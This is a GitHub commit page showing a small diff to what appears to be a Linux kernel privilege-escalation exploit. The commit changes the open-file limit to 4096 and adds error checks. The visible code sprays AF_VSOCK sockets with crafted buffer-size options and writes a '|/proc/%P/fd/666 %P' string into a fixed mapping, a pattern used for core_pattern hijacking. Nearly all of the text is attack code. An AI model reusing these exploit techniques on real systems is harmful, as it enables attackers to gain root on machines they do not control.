Skip to content

Commit

Permalink
fix: change to available rlimit
Browse files Browse the repository at this point in the history
  • Loading branch information
qwerty-theori committed Dec 16, 2024
1 parent bf1a9de commit f6e7503
Showing 1 changed file with 10 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -341,7 +341,10 @@ int *generate_spray_vvs_fd(int cnt)
for(int i=0; i<cnt; i++)
{
if((socks[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0)) < 0)
{
perror("socket");
exit(0);
}

unsigned long size = 0xeeff0011;
setsockopt(socks[i], AF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(size));
Expand Down Expand Up @@ -805,9 +808,13 @@ int main(int argc, void *argv[])

// PHYS_LO_32 = strtoll(argv[1], NULL, 0);
struct rlimit rlim = {
.rlim_cur = 0xf000,
.rlim_max = 0xf000};
setrlimit(RLIMIT_NOFILE, &rlim);
.rlim_cur = 4096,
.rlim_max = 4096};
if(setrlimit(RLIMIT_NOFILE, &rlim) < 0)
{
perror("setrlimit failed");
exit(EXIT_FAILURE);
}

targetstr = (char *)mmap(0x12340000, 0x100, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
strcpy(targetstr, "|/proc/%P/fd/666 %P");
Expand Down

0 comments on commit f6e7503

Please sign in to comment.